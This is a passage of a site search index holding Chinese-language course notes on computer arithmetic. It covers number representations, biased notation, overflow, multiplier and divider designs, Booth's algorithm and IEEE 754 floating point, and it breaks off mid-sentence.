<p>CISC\uff08Complex Instruction Set Computing\uff09\u662f\u53e6\u4e00\u79cd\u6307\u4ee4\u96c6\u8bbe\u8ba1\u7406\u5ff5</p> <ul> <li>\u5305\u542b\u5927\u91cf\u6307\u4ee4\uff0c\u4e14\u6bcf\u6761\u6307\u4ee4\u53ef\u4ee5\u6267\u884c\u590d\u6742\u7684\u64cd\u4f5c\u3002</li> <li>\u6307\u4ee4\u957f\u5ea6\u4e0d\u56fa\u5b9a\uff0c\u8bb8\u591a\u6307\u4ee4\u53ef\u4ee5\u901a\u8fc7\u4e00\u6761\u6307\u4ee4\u8fdb\u884c\u591a\u6b65\u64cd\u4f5c\u3002</li> <li>\u652f\u6301\u66f4\u591a\u7684\u5bfb\u5740\u6a21\u5f0f\u548c\u6570\u636e\u7c7b\u578b\u3002</li> <li>\u53ef\u4ee5\u51cf\u5c11\u7a0b\u5e8f\u7684\u5927\u5c0f\uff0c\u56e0\u4e3a\u8bb8\u591a\u64cd\u4f5c\u53ef\u4ee5\u901a\u8fc7\u5355\u6761\u6307\u4ee4\u5b8c\u6210\u3002</li> </ul>"},{"location":"NOTE/CO/wk2/","title":"Arithmetic for Computer","text":"<p> \u7ea6 4102 \u4e2a\u5b57  5 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 14 \u5206\u949f</p>"},{"location":"NOTE/CO/wk2/#introduction","title":"Introduction","text":"<p>\u8ba1\u7b97\u673a\u4e2d\u7684\u6307\u4ee4\u53ef\u4ee5\u5206\u4e3a\u4e09\u7c7b\uff1a</p> <p>memory-reference instructions</p> <p><code>lw, sw</code> \u9700\u8981 ALU \u8ba1\u7b97\u5185\u5b58\u5730\u5740  <code>lw</code>\u6307\u7684\u662f load word, \u4ece\u5185\u5b58\u4e2d\u8bfb\u53d6\u4e00\u4e2a\u5b57\uff0c<code>sw</code>\u6307\u7684\u662f store word, \u5c06\u4e00\u4e2a\u5b57\u5b58\u5165\u5185\u5b58\u3002</p> <p>arithmetic-logical instructions</p> <p><code>add, sub, and, or, xor, slt</code> \u9700\u8981 ALU \u8fdb\u884c\u8ba1\u7b97 <code>slt</code>\u6307\u7684\u662f set less than, \u5982\u679c\u7b2c\u4e00\u4e2a\u64cd\u4f5c\u6570\u5c0f\u4e8e\u7b2c\u4e8c\u4e2a\u64cd\u4f5c\u6570\uff0c\u90a3\u4e48\u5c06\u7ed3\u679c\u8bbe\u7f6e\u4e3a 1\uff0c\u5426\u5219\u4e3a 0\u3002</p> <p>control flow instructions</p> <p><code>beq, bne, jal</code> \u9700\u8981 ALU \u8fdb\u884c\u6761\u4ef6\u5224\u65ad <code>beq</code>\u6307\u7684\u662f branch equal, \u5982\u679c\u4e24\u4e2a\u64cd\u4f5c\u6570\u76f8\u7b49\uff0c\u90a3\u4e48\u8df3\u8f6c\u5230\u6307\u5b9a\u5730\u5740\u3002<code>bne</code>\u6307\u7684\u662f branch not equal, \u5982\u679c\u4e24\u4e2a\u64cd\u4f5c\u6570\u4e0d\u76f8\u7b49\uff0c\u90a3\u4e48\u8df3\u8f6c\u5230\u6307\u5b9a\u5730\u5740\u3002<code>jal</code>\u6307\u7684\u662f jump and link, \u8df3\u8f6c\u5230\u6307\u5b9a\u5730\u5740\u5e76\u5c06\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u5730\u5740\u5b58\u5165\u5bc4\u5b58\u5668\u3002</p>"},{"location":"NOTE/CO/wk2/#signed-number-formats","title":"Signed Number Formats(\u6709\u7b26\u53f7\u6570\u7684\u8868\u793a)","text":"<ul> <li>Sign and magnitude</li> <li>2's Complement</li> <li>1's Complement</li> <li>Biased notation  </li> </ul> <p>what is biased notation</p> <p>\u504f\u7f6e\u8868\u793a\u6cd5\uff08\u6216 \u504f\u79fb\u8868\u793a\u6cd5 \uff09\u662f\u4e00\u79cd\u5728\u8ba1\u7b97\u673a\u79d1\u5b66\u4e2d\u5e38\u7528\u7684\u6570\u503c\u7f16\u7801\u7cfb\u7edf\uff0c\u4e3b\u8981\u7528\u4e8e\u8868\u793a\u6b63\u6570\u548c\u8d1f\u6570\u3002\u5b83\u901a\u8fc7\u5f15\u5165\u4e00\u4e2a \u504f\u7f6e \u6216 \u504f\u79fb\u91cf \u5230\u5b9e\u9645\u6570\u503c\uff0c\u4f7f\u5f97\u6240\u6709\u7f16\u7801\u7684\u6570\u5b57\u90fd\u662f\u975e\u8d1f\u6570\uff0c\u8fd9\u6837\u53ef\u4ee5\u7b80\u5316\u786c\u4ef6\u5b9e\u73b0\u3002\u5728\u6d6e\u70b9\u6570\u8868\u793a\u7b49\u7cfb\u7edf\u4e2d\uff0c\u8fd9\u79cd\u65b9\u6cd5\u7279\u522b\u6709\u7528\u3002</p> <ul> <li>\u504f\u7f6e\u6216\u504f\u79fb\u91cf: \u5728\u7f16\u7801\u65f6\u7ed9\u5b9e\u9645\u6570\u503c\u52a0\u4e0a\u4e00\u4e2a\u56fa\u5b9a\u7684\u504f\u7f6e\u3002</li> <li> <p>\u7f16\u7801\u8fc7\u7a0b:  \u5f53\u4e00\u4e2a\u6570\u5b57\u8981\u88ab\u7f16\u7801\u65f6\uff0c\u9700\u8981\u5c06\u5176\u503c\u52a0\u4e0a\u4e00\u4e2a\u56fa\u5b9a\u7684\u504f\u7f6e\u3002\u4f8b\u5982\uff0c\u5982\u679c\u504f\u7f6e\u662f 127\uff0c\u800c\u6570\u5b57\u662f -5\uff0c\u90a3\u4e48\u7f16\u7801\u540e\u7684\u503c\u5c06\u662f \\(-5 + 127 = 122\\)\u3002</p> </li> <li> <p>\u89e3\u7801\u8fc7\u7a0b:      \u5f53\u9700\u8981\u89e3\u7801\u65f6\uff0c\u89e3\u7801\u5668\u5c06\u4ece\u7f16\u7801\u540e\u7684\u6570\u5b57\u4e2d\u51cf\u53bb\u504f\u7f6e\uff0c\u4ee5\u6062\u590d\u539f\u59cb\u7684\u503c\u3002\u4f8b\u5982\uff0c\u7f16\u7801\u503c 122 \u7ecf\u8fc7\u89e3\u7801\u65f6\uff0c\u51cf\u53bb 127 \u5f97\u5230\u539f\u59cb\u503c \\(-5\\)\u3002</p> </li> </ul> <p>\u5047\u8bbe\u6211\u4eec\u4f7f\u7528 8 \u4f4d\u4e8c\u8fdb\u5236\u6570\u6765\u8868\u793a\u6570\u5b57\uff0c\u504f\u7f6e\u8bbe\u5b9a\u4e3a 127\uff1a</p> <ul> <li> <p>\u7f16\u7801\u65f6\uff1a</p> <ul> <li>\u6570\u5b57 0 \u7f16\u7801\u4e3a \\(0 + 127 = 127\\)\uff0c\u5373\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a <code>01111111</code></li> <li>\u6570\u5b57 5 \u7f16\u7801\u4e3a \\(5 + 127 = 132\\)\uff0c\u5373\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a <code>10000100</code></li> <li>\u6570\u5b57 -3 \u7f16\u7801\u4e3a \\(-3 + 127 = 124\\)\uff0c\u5373\u4e8c\u8fdb\u5236\u8868\u793a\u4e3a <code>01111100</code></li> </ul> </li> <li> <p>\u89e3\u7801\u65f6\uff1a</p> <ul> <li>\u5982\u679c\u8bfb\u53d6\u5230 <code>01111111</code>\uff0c\u5bf9\u5e94\u7684\u503c\u4e3a \\(127 - 127 = 0\\)</li> <li>\u5982\u679c\u8bfb\u53d6\u5230 <code>10000100</code>\uff0c\u5bf9\u5e94\u7684\u503c\u4e3a \\(132 - 127 = 5\\)</li> <li>\u5982\u679c\u8bfb\u53d6\u5230 <code>01111100</code>\uff0c\u5bf9\u5e94\u7684\u503c\u4e3a \\(124 - 127 = -3\\)</li> </ul> </li> <li> <p>\u5e94\u7528\u573a\u666f\uff1a</p> </li> </ul> <p>\u504f\u7f6e\u8868\u793a\u6cd5\u5e38\u7528\u4e8e \u6d6e\u70b9\u6570\u8868\u793a\uff0c\u5c24\u5176\u662f\u5728IEEE 754 \u6807\u51c6\u4e2d\uff0c\u6d6e\u70b9\u6570\u7684\u6307\u6570\u90e8\u5206\u4f7f\u7528\u4e86\u504f\u7f6e\u8868\u793a\u6cd5\u3002\u8fd9\u4f7f\u5f97\u6307\u6570\u53ef\u4ee5\u540c\u65f6\u8868\u793a\u6b63\u6570\u548c\u8d1f\u6570\uff0c\u7b80\u5316\u4e86\u786c\u4ef6\u7535\u8def\u7684\u8bbe\u8ba1\u4e0e\u5b9e\u73b0\u3002</p> <p>\u504f\u7f6e\u8868\u793a\u6cd5\u901a\u8fc7\u6dfb\u52a0\u4e00\u4e2a\u56fa\u5b9a\u7684\u504f\u79fb\u91cf\uff0c\u4f7f\u6570\u503c\u8868\u793a\u66f4\u52a0\u65b9\u4fbf\uff0c\u7279\u522b\u662f\u5728\u5e95\u5c42\u786c\u4ef6\u5b9e\u73b0\u4e0a\u6709\u8f83\u5927\u4f18\u52bf\u3002</p> <p>Why we need biased notation</p> <p> </p> <p>\u4e0a\u56fe\u662f 32 \u4f4d\u7684\u4e8c\u8fdb\u5236\u8865\u7801\u8868\u793a\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5de6\u4fa7\u4e8c\u8fdb\u5236\u8868\u793a\uff0c\u5982\u679c\u770b\u4f5c\u65e0\u7b26\u53f7\u6570\uff0c\u90a3\u4ed6\u4eec\u662f\u4ece\u5c0f\u5230\u5927\u6392\u5217\u7684\uff1b\u4f46\u53f3\u4fa7\u5bf9\u5e94\u7684\u5341\u8fdb\u5236\u6574\u6570\u786e\u5b9e\u5206\u6bb5\u5355\u589e\u7684\u3002  \u6211\u4eec\u5e0c\u671b\u6709\u4e00\u79cd\u8fd9\u6837\u7684\u8868\u793a\uff0c\u80fd\u591f\u8ba9\u53f3\u4fa7\u7684\u5bf9\u5e94\u7684\u503c\u4e5f\u5355\u8c03\u9012\u589e\u3002  \u4e00\u4e2a\u60f3\u6cd5\u662f\u5bf9\u53f3\u4fa7\u6570\u52a0\u4e0a \\(2^{31}\\), \u76f8\u5f53\u4e8e\u5176\u4e8c\u8fdb\u5236\u8868\u793a\u4e0b\u6700\u9ad8\u4f4d\u7ffb\u8f6c\u3002  </p> <p>\u8ba1\u7b97\u504f\u79fb\u7801</p> <p>\u5728\u6ca1\u6709\u8bf4\u660e\u7684\u60c5\u51b5\u4e0b\uff0c\\([X]_b = 2^n + X\\)  \u4ece\u4e8c\u8fdb\u5236\u7801\u5230\u79fb\u7801\uff0c\u53ea\u9700\u8981\u7ffb\u8f6c\u7b26\u53f7\u4f4d\u5373\u53ef\u3002 \u5728 IEEE \u6807\u51c6\u4e2d\uff0c\u504f\u79fb\u7801\u8981\u52a0\u4e0a \\(2^{n-1}-1\\) \u800c\u4e0d\u662f \\(2^{n}\\)</p>"},{"location":"NOTE/CO/wk2/#arithmetic","title":"Arithmetic","text":"<ul> <li>Addition</li> <li>Substraction(\u901a\u8fc7\u52a0\u6cd5\u5b9e\u73b0\uff0c\u51cf\u53bb\u4e00\u4e2a\u6570\u7b49\u4e8e\u52a0\u4e0a\u8fd9\u4e2a\u6570\u7684\u8865\u7801)  </li> <li>Overflow detection:</li> </ul> <p>Overflow detection</p> <p>\u65e0\u7b26\u53f7\u6570\u7684\u6ea2\u51fa\uff1a   \u6709\u7b26\u53f7\u6570\u7684\u6ea2\u51fa\uff1a    \u5728\u4e8c\u8fdb\u5236\u52a0\u51cf\u6cd5\u4e2d\uff0c\u6ea2\u51fa\uff08Overflow\uff09\u662f\u6307\u8ba1\u7b97\u7ed3\u679c\u8d85\u51fa\u4e86\u53ef\u8868\u793a\u7684\u6570\u503c\u8303\u56f4\uff0c\u901a\u5e38\u53d1\u751f\u5728 \u6709\u7b26\u53f7\u6570 \u8fd0\u7b97\u4e2d\u3002</p> <p>\u5728\u8bbe\u8ba1\u52a0\u51cf\u6cd5\u5668\u65f6\uff0c\u901a\u5e38\u5728\u6570\u636e\u4f4d\u7684\u57fa\u7840\u4e0a\u518d\u589e\u52a0\u4e00\u4f4d\u7528\u4e8e\u5224\u65ad\u662f\u5426\u6ea2\u51fa\u6216\u8005\u8fdb\u4f4d\u3002\u8fd9\u4e00\u4f4d\u901a\u5e38\u79f0\u4e3a \u6ea2\u51fa\u4f4d\uff08Overflow Bit\uff09\u6216 \u8fdb\u4f4d\u4f4d\uff08Carry Bit\uff09\u3002</p> <p>\u6709\u7b26\u53f7\u6570\u7684\u6ea2\u51fa\u6709\u4ee5\u4e0b\u51e0\u79cd\u60c5\u51b5</p> Operation Operand A Operand B Result overflow A + B \u2265 0 \u2265 0 &lt; 0 (01) A + B &lt; 0 &lt; 0 \u2265 0 (10) A - B \u2265 0 &lt; 0 &lt; 0 (01) A - B &lt; 0 \u2265 0 \u2265 0 (10) <p>\u53ef\u4ee5\u53d1\u73b0\uff0c\u6ea2\u51fa\u65f6\\(C_n \\oplus C_{n-1}\\)\u5373\u8fdb\u4f4d\u4f4d\u548c\u6700\u9ad8\u4f4d\u7684\u5f02\u6216\u7ed3\u679c\u4e3a1\u3002</p> <p>\u800c\u5bf9\u4e8e\u65e0\u7b26\u53f7\u6570\uff0c\u53ea\u6709\u4e00\u79cd\u60c5\u51b5\u4f1a\u53d1\u751f\u6ea2\u51fa\uff0c\u5373\u7ed3\u679c\u5927\u4e8e\u53ef\u8868\u793a\u7684\u6700\u5927\u503c\uff0ccarry bit\u4e3a1\u3002</p> <p>Key-point</p> <p>\u5f53ALU\u4f7f\u7528\u7684\u662f\u52a0\u51cf\u6cd5\u64cd\u4f5c\u65f6\uff0c\u624d\u6709\\(C_n \\oplus C_{n-1}\\)</p> <p>Constructing an ALU </p> <p>\u6ce8: RISC-V \u4e0d\u652f\u6301 nor \u6307\u4ee4\u3002</p>"},{"location":"NOTE/CO/wk2/#multiplication","title":"Multiplication","text":""},{"location":"NOTE/CO/wk2/#unsigned-multiplication","title":"Unsigned multiplication","text":"\\[ Multiplicand   \\times Multiplier = Product\\] Version 1 <p>\u7b2c\u4e00\u79cd\u4e58\u6cd5\u5668\uff0c\u5224\u65ad\u4e58\u6570\u7684\u6700\u4f4e\u4f4d\u662f\u5426\u4e3a 1\uff0c\u5982\u679c\u662f\u5219\u88ab\u4e58\u6570\u52a0\u90e8\u5206\u548c\u5b58\u5230\u7ed3\u679c\u91cc\u9762\uff0c\u5426\u5219\u52a00\u3002\u6bcf\u6b21\u5de6\u79fb\u88ab\u4e58\u6570\uff0c\u53f3\u79fb\u4e58\u6570\u3002   \u4f46\u662f\u8fd9\u79cd\u4e58\u6cd5\u5668\u5bf9\u4e8e32\u4f4d\u7684\u4e58\u6cd5\u5374\u9700\u8981 64\u4f4d\u7684\u5bc4\u5b58\u5668\u5b58\u50a8\u88ab\u4e58\u6570\uff0c\u5982\u4e0b\uff1a   \u9700\u8981 64+64+32 bit \u7684\u5bc4\u5b58\u5668\uff0c\u548c\u4e00\u4e2a 64 bit ALU.  </p> Version 2 <p>\u5728Version1\u4e2d\uff0c\u5b9e\u9645\u4e0a\u6bcf\u6b21\u8fdb\u884c\u7684\u52a0\u6cd5\u90fd\u662f32\u4f4d\u7684\uff0c\u6bcf\u6b21\u52a0\u5b8c\u4ee5\u540e\uff0cproduct\u7684\u6700\u4f4e\u4f4d\u5c31\u4e0d\u4f1a\u53d8\u5316\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u4f7f\u752832\u4f4d\u7684ALU\uff0c\u6bcf\u6b21\u53f3\u79fbproduct\u800c\u4e0d\u662f\u5de6\u79fb\u4e58\u6570\uff0c\u7136\u540e\u8ba9\u4e58\u6570\u4e0eproduct\u76f8\u52a0\u5373\u53ef\u3002   \u8fd9\u6837\u539f\u672c\u9700\u898164+64+32 bit \u7684\u5bc4\u5b58\u5668\uff0c\u548c\u4e00\u4e2a 64 bit ALU. \u53d8\u6210\u4e86 32+64+32 bit \u7684\u5bc4\u5b58\u5668\uff0c\u548c\u4e00\u4e2a 32 bit ALU.    </p> Version3 <p>Version2\u4e2d\uff0c64\u4f4d\u7684product\u6bcf\u6b21\u53f3\u79fb\uff0c\u5176\u4e2d\u53ea\u6709\u9ad832\u4f4d\u6709\u7528\uff0c\u90a3\u4e48\u4f4e32\u4f4d\u6070\u597d\u53ef\u4ee5\u7528\u6765\u5b58\u653e\u4e58\u6570\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u53ea\u752832\u4f4d\u7684\u5bc4\u5b58\u5668\u548cALU\u6765\u5b9e\u73b0\u4e58\u6cd5\u3002   \u5982\u4e0b  </p> \u4f8b-4\u4f4d\u4e58\u6cd5,\u9ad8\u56db\u4f4d\u7ed3\u679c\uff0c\u4f4e\u56db\u4f4d\u4e58\u6570 <p> </p>"},{"location":"NOTE/CO/wk2/#signed-multiplication","title":"Signed multiplication","text":"<p>\u6709\u7b26\u53f7\u76f8\u4e58\u4e0d\u80fd\u76f4\u63a5\u4e58\uff0c\u53ef\u4ee5\u5148\u7528\u7b26\u53f7\u4f4d\u51b3\u5b9a\u7ed3\u679c\u7b26\u53f7\uff0c\u518d\u5bf9\u7edd\u5bf9\u503c\u8fdb\u884c\u4e58\u6cd5\u3002 </p> <p>Booth's Algorithm </p> <p>\u601d\u60f3\uff1a\u5982\u679c\u6709\u4e00\u4e32 1, \u51cf\u6389\u4e58\u6570\u7684\u7b2c\u4e00\u4e2a 1, \u540e\u9762\u7684 1 \u7684\u5e8f\u5217\u8fdb\u884c\u79fb\u4f4d\uff0c\u5f53\u4e0a\u4e00\u6b65\u662f\u6700\u540e\u4e00\u4e2a 1 \u65f6\u52a0\u3002  </p> <p>\u6700\u5f00\u59cb\u628a\u79ef\u653e\u5728\u9ad8\u4f4d\uff0c\u88ab\u4e58\u6570\u653e\u5728\u4f4e\u4f4d\u3002\uff08\u6570\u636e\u4fdd\u5b58\u65b9\u6cd5\u540c 2.1.1\uff09\u9ed8\u8ba4 \\(bit_{-1}=0\\)</p> <ul> <li> <p>Action</p> <ul> <li>10 - subtract multiplicand from left</li> <li>11 - nop</li> <li>01 - add multiplicand to left half</li> <li>00 - nop</li> </ul> <p>\u6bcf\u4e2a\u64cd\u4f5c\u7ed3\u675f\u540e\u90fd\u8981\u79fb\u4f4d\uff0c\u548c 2.1.1 \u4e2d\u7c7b\u4f3c</p> </li> </ul> <p>Key-point</p> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f Booth\u7b97\u6cd5\u4e2d\uff0c\u6bcf\u4e00\u6b21\u662f\u4e24\u4f4d\u4e24\u4f4d\u770b\uff0c\u5bf9\u4e8e\\(n\\)\u4f4d\u7684\uff0c\u9700\u8981\u8fdb\u884c\\(n\\)\u6b21\u64cd\u4f5c,\u4f46\u662f\u4e24\u4f4d\u4e24\u4f4d\u770b\u53ea\u80fd\u770b\u5230\\(n-1\\)\u4f4d\uff0c\u56e0\u6b64\u5f00\u59cb\u4e4b\u524d\u662f\u9700\u8981\u5728\u6700\u540e\u4e00\u4f4d\u52a0\u4e0a\u4e00\u4e2a 0 \u518d\u5f00\u59cb\u505a\u4e58\u6cd5\u7684</p> <p>\u6ce8\u610f\u79fb\u4f4d\u65f6\u4e0d\u8981\u6539\u53d8\u7b26\u53f7\u4f4d\u3002</p> <p>Example</p> <p> </p> <p>\u88ab\u4e58\u6570 Multiplicand \u662f 0010,  \u4e58\u6570 Multiplier \u662f 1101. \u6700\u5f00\u59cb\u5c06\u79ef 0000 \u653e\u5728\u9ad8\u56db\u4f4d, 1101 \u4f5c\u4e3a\u4e58\u6570\u653e\u5728\u4f4e\u56db\u4f4d\u3002 \u6700\u5f00\u59cb 10, \u5373\u6267\u884c\u51cf\u64cd\u4f5c, \\(0000-0010=1110\\). \u7b54\u6848\u4f9d\u7136\u653e\u5728\u9ad8\u56db\u4f4d\uff0c\u968f\u540e\u53f3\u79fb\uff0c\u4ee5\u6b64\u7c7b\u63a8\u3002 \u6ce8\u610f\u53f3\u79fb\u7684\u65f6\u5019\u662f \u7b97\u672f\u53f3\u79fb \uff0c\u5373\u7b26\u53f7\u4f4d\u4e0d\u53d8\u3002</p>"},{"location":"NOTE/CO/wk2/#faster-multiplication","title":"Faster Multiplication","text":"<p>32 \u4f4d\u6570\u4e58 32 \u4f4d\u6570\uff0c\u76f8\u5f53\u4e8e 32 \u4e2a 32 \u4f4d\u6570\u76f8\u52a0\u3002\uff08\u5e76\u884c\u52a0\u901f\uff09</p>"},{"location":"NOTE/CO/wk2/#division","title":"Division","text":"\\[ Dividend  = quotient \\times Divisor + Reminder \\] Version <ul> <li>At At first the divisor is in the left half of the divisor register,the dividend is in the right half of the remainder register.</li> <li>Shift the divisor right each step   \u5373\u5bf9\u6bcf\u4e00\u6b65\uff0c\u90fd\u5728\u4f59\u6570\u4e2d\u51cf\u53bb\u9664\u6570\uff0c\u5982\u679c\u7ed3\u679c\u5927\u4e8e\u7b49\u4e8e0\uff0c\u90a3\u4e48\u5546\u5de6\u79fb\u4e0a1\uff0c\u5426\u5219\u5c06\u7ed3\u679c\u52a0\u56de\u53bb\uff0c\u5546\u5de6\u79fb\u4e0a0\u3002   </li> </ul> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f,\u7531\u4e8e\u4e00\u5f00\u59cbremainder\u5bc4\u5b58\u5668\u53f3\u8fb9\u662f\u88ab\u9664\u6570\uff0cdivisor\u5bc4\u5b58\u5668\u5de6\u534a\u8fb9\u662f\u9664\u6570\uff0c\u524d\u5f88\u591a\u6b21\u7684\u7ed3\u679c\u90fd\u662f\u8d1f\u7684</p> <p>7 / 2</p> <p>\\(00000111 / 0010\\) </p> Version <p>\u4f18\u5316\u8fc7\u7a0b\u4e0e\u4e58\u6cd5\u7c7b\u4f3c\uff0c\u56e0\u4e3a\u6bcf\u6b21\u90fd\u662fremainder\u7684\u6700\u9ad8\u4f4d\u5728\u51cf\uff0c\u51cf\u5b8c\u5c31\u6ca1\u7528\u4e86\uff0c\u53ef\u4ee5\u79fb\u51fa\u53bb\uff0c\u4e0d\u518d\u53f3\u79fbdivisor\uff0c\u800c\u662f\u5de6\u79fbremainder\uff0c\u5e76\u4e14\u5c06quotient\u4e5f\u5b58\u5728Remainder\u5bc4\u5b58\u5668\u6bcf\u6b21\u5de6\u79fb\u4ea7\u751f\u7684\u7a7a\u4f4d\u4e2d   \u5982\u4e0b  </p> <p>Key-point</p> <p>remainder \u5bc4\u5b58\u5668\u5176\u5b9e\u8981\u591a\u4e00\u4f4d\u7684\uff0c\u56e0\u4e3a\u6700\u540e\u4e00\u6b65\u8981\u53f3\u79fb\uff0c\u4e0d\u80fd\u76f4\u63a5\u628a\u5b83\u4e22\u6389</p> <p>Eg</p> <p>  4.1 \u65f6\u5176\u5b9e\u6211\u4eec\u5df2\u7ecf\u7ed3\u675f\u4e86\u9664\u6cd5\u64cd\u4f5c\uff0c\u6b64\u65f6\u7684\u9ad8\u4f4d\u5c31\u662f\u6211\u4eec\u7684\u4f59\u6570\uff0c\u4f46\u662f\u8fd9\u6700\u540e\u4e00\u6b21\u7684\u7ed3\u679c\u8fd8\u6ca1\u6709\u653e\u56de\u5230 Reminder \u4e2d\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u518d\u5f80\u5de6\u79fb\u4e00\u4f4d\u4e3a\u5546\u7559\u51fa\u7a7a\u95f4\uff0c\u653e\u5165\u540e\uff0c\u518d\u628a\u9ad8\u4f4d\u4f59\u6570\u5f80\u53f3\u79fb\u52a8\u4ee5\u62b5\u6d88\u5f71\u54cd\u3002</p> <p>!!!question \"\u4e3a\u4ec0\u4e48\u9664\u6cd5\u7684\u79fb\u4f4d\u8fd9\u4e48\u5947\u602a\u201c     \u5bf9\u4e8eVersion1\uff0c\u8981\u8fdb\u884c \\(n+1\\) \u6b21\u7684\u79fb\u4f4d\uff0c\u662f\u4e3a\u4e86\u5728\u6700\u540e\u4e00\u6b65\u5c06\u5546\u8865\u5168\uff0c\u540c\u65f6\u4e5f\u62b5\u6d88\u6700\u540e\u4e00\u6b65\u7684\u5f71\u54cd\u6765\u6ee1\u8db3\u4f59\u6570\u7684\u6b63\u786e\u6027\uff1b     \u5bf9\u4e8eVersion2\uff0c\u8981\u8fdb\u884c\u7b2c\u4e00\u6b21\u7684\u6574\u4f53\u5de6\u79fb\u662f\u4e3a\u4e86\u5f97\u5230\u6b63\u786e\u7684\u4f59\u6570\uff0c\u800c\u5728\u6700\u540e\u4e00\u6b65\u4e2d\uff0c\u7531\u4e8e\u5546\u8fd8\u8981\u8fdb\u6765\uff0c\u4f59\u6570\u4f1a\u591a\u51fa\u4e00\u4f4d\uff0c\u56e0\u6b64\u8981\u5de6\u534a\u90e8\u5206\u53f3\u79fb\u4e00\u4f4d\u3002</p> <p>\u5bf9\u4e8e\u6709\u7b26\u53f7\u6570\u7684\u9664\u6cd5\uff0c\u7528\u7edd\u5bf9\u503c\u6765\u505a\uff0c\u7136\u540e\u5728\u7ed3\u679c\u4e0a\u52a0\u4e0a\u7b26\u53f7\u4f4d</p> <p>sign of quotient = sign of dividend \\(\\oplus\\) sign of divisor</p> <p>sign of remainder = sign of dividend</p>"},{"location":"NOTE/CO/wk2/#floating-point-number","title":"Floating point number","text":"\u8fdb\u5236\u8f6c\u6362 <p>\u4e8c\u8fdb\u5236\u5c0f\u6570\u8f6c\u5341\u8fdb\u5236\uff0c\u5982\u679c\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u53ef\u4ee5\u5148\u4eff\u7167\u5341\u8fdb\u5236\u7684\u79d1\u5b66\u8ba1\u6570\u6cd5\u7528\u6307\u6570\u8fdb\u884c\u5c0f\u6570\u70b9\u7684\u79fb\u52a8\uff0c\u7136\u540e\u518d\u8f6c\u6362\uff0c\u8fd9\u6837\u53ef\u4ee5\u51cf\u5c11\u8ba1\u7b97\u5c0f\u6570\u7684\u6b21\u6570\u3002</p> <p>\u5341\u8fdb\u5236\u8f6c\u6362\u4e8c\u8fdb\u5236\uff0c\u53ef\u4ee5\u5148\u8f6c\u6362\u6574\u6570\u90e8\u5206\uff0c\u518d\u8f6c\u6362\u5c0f\u6570\u90e8\u5206\uff0c\u5c0f\u6570\u90e8\u5206\u53ef\u4ee5\u4f9d\u6b21\u4e0e\\(2^{-n}\\)\u6bd4\u8f83\uff0c\u5982\u679c\u5927\u4e8e\u7b49\u4e8e\uff0c\u90a3\u4e48\u7ed3\u679c\u7684\u7b2c n \u4f4d\u4e3a 1\uff0c\u5426\u5219\u4e3a 0\uff0c\u4e0a\u4e86 1 \u4e4b\u540e\uff0c\u8981\u51cf\u53bb \\(2^{-n}\\)\uff0c\u518d\u7ee7\u7eed\u6bd4\u8f83\uff0c\u76f4\u5230\u8fbe\u5230\u7cbe\u5ea6\u7684\u8981\u6c42\u3002</p> S exp frac Float(\u4f4d\u6570) 1 8 23 Double(\u4f4d\u6570) 1 11 52 <p>Normalized form: \\(N=(-1)^S\\times M\\times 2^E\\) </p> <ul> <li>S: sign. \\(S=1\\) indicates the number is negative.</li> <li>M: \u5c3e\u6570. Normally, \\(M=1.frac=1+frac\\).</li> <li>E: \u9636\u7801. Normally, \\(E=exp-Bias\\) where \\(Bias=127\\) for floating point numbers. \\(Bias = 1023\\) for double. </li> </ul> <p>Key-point</p> <ul> <li>\u4e3a\u4ec0\u4e48\u8981\u628a exponent \u653e\u5728\u524d\u9762\uff1f\uff08\u56e0\u4e3a\u6570\u7684\u5927\u5c0f\u4e3b\u8981\u7531 exponent \u51b3\u5b9a\u3002\uff09</li> <li>\u4e3a\u4ec0\u4e48\u9700\u8981 Bias\uff1f\uff08\u79fb\u7801\uff09\u53ef\u4ee5\u4e0d\u4fdd\u5b58\u8d1f\u6570\uff0c\u7528\u7684\u662fIEEE\u6807\u51c6\uff0c\u5373\u5bf9\u4e8e8\u4f4d\u7684\u79fb\u7801\uff0c\\(Bias=2^{7}-1=127\\)\uff0c\u5bf9\u4e8e11\u4f4d\u7684\u79fb\u7801\uff0c\\(Bias=2^{10}-1=1023\\)\u3002 </li> <li>\u4ee5\u4e0a\u662f\u89c4\u683c\u5316\u6570\uff0c\u5c3e\u6570\u524d\u5e94\u8be5\u6709\u524d\u5bfc 1\uff0c\u5c31\u7c7b\u4f3c\u4e8e\u5341\u8fdb\u5236\u7684\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u524d\u5bfc\u5fc5\u987b\u5927\u4e8e0\u5c0f\u4e8e10.\u5bf9\u4e8e2\u8fdb\u5236\uff0c\u524d\u5bfc\u5fc5\u987b\u5927\u4e8e0\u5c0f\u4e8e2\uff0c\u4e5f\u5c31\u662f1.</li> </ul>"},{"location":"NOTE/CO/wk2/#denormal-numbers","title":"Denormal Numbers","text":"<ul> <li>\\(Exponent=000\\ldots 0\\)  \u975e\u89c4\u683c\u5316\u6570\uff0c\u8ba9\u6570\u5728\u8f83\u5c0f\u65f6\u80fd\u9010\u6e10\u4e0b\u6ea2\u51fa\uff0c\u5728Exponent\u7684\u90e8\u5206\u4ee5\u5168\u96f6\u4f5c\u4e3a\u4fdd\u7559\u5b57\uff0c\u4f46\u662f\u5e76\u4e0d\u4ee3\u8868\u6307\u6570\u662f0\uff0c\u800c\u662f\u8bf4\u6b64\u65f6\u7684\u5c0f\u6570\u4e0d\u662f1.xxxx\u800c\u662f0.xxxx\u3002   \\(x=(-1)^s\\times((0+Fraction)\\times 2^{1-Bias})\\) \u6ce8\u610f\u6b64\u65f6\u6307\u6570\u662f \\(1-Bias=-126/-1022\\).   </li> </ul>"},{"location":"NOTE/CO/wk2/#precision","title":"Precision","text":"<ul> <li>signle: approx \\(2^{-23}\\) \\(23\\times \\log_{10}{2} \\approx 23\\times 0.3 \\approx 7\\) demical digits of precision.  </li> <li>double: approx \\(2^{-52}\\) \\(52\\times \\log_{10}{2}\\approx 52\\times 0.3 \\approx 